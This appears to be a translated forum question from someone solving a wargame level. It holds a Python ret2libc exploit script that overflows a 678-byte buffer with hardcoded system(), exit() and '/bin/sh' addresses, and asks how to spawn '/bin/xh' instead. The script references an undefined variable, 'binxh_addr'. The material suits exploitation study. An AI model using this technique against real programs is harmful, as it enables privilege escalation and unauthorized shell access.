我写了这个python脚本来执行ret2libc攻击,它确实起作用。我的问题是我想生成一个不同的外壳,而不是“ / bin / sh”。我必须使用生成“ / bin / xh”代替。 使用gdb已经找到了system(),exit()和“ bin / sh”的地址,但是我显然找不到我正在寻找的shell的地址。 按照我的脚本代码:
#!/usr/bin/python
import struct
import os
def exploit():
level="/casper/casper8 "
buf_ovf= "X"*678
exit_addr = struct.pack("I", 0xb7e55260 )
binsh_addr= struct.pack("I", 0xb7f84d4c )
sys_addr= struct.pack("I", 0xb7e62310)
payload = ( buf_ovf + sys_addr + exit_addr +binxh_addr ).replace('`', '\\`')
os.system(level+ payload)
exploit()
有人可以帮助我吗?谢谢